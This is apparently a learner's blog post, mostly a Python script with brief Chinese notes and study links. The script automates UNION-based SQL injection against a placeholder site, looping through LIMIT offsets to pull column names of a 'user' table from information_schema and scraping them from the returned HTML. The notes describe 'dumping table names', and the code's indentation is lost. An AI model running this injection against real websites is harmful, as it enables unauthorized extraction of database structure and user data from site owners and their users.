import urllib.request
import re,time
result=[]
for i in range(100):
urls ="http://xxx.com/-1%20union%20select%201,(select%20column_name%20from%20information_schema.columns%20where%20table_name='user'%20limit%20"
urls1 ="%d,1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29.html"%i
url=urls+urls1
f = urllib.request.urlopen(url)
content = f.read().decode('utf8')
pattern = re.compile(r'<div class="biaoti02_01">.*?<span>',re.S)
basic_content = re.finditer(pattern,content)
for j in basic_content:
init_dict={}
j=str(j)
d= re.search(r'<div class="biaoti02_01">(.*?)<br>',j)
init_dict['tablename']=d.group(1)
print(d.group(1))
result.append(init_dict)
time.sleep(0.5)
print(result)
运行截图爆表名
目前正则还在学习中 打印结果丑陋
学习资料 https://www.cnblogs.com/smxiazi/articles/9743318.html
正则学习 https://www.runoob.com/python/python-reg-expressions.html
python request 学习 https://blog.csdn.net/qq_37616069/article/details/80376776
https://blog.csdn.net/wukong_666/article/details/84146738
对象报错解决办法 https://blog.csdn.net/w926498/article/details/80579520
切记 学习之路 少就是多慢就是快 ~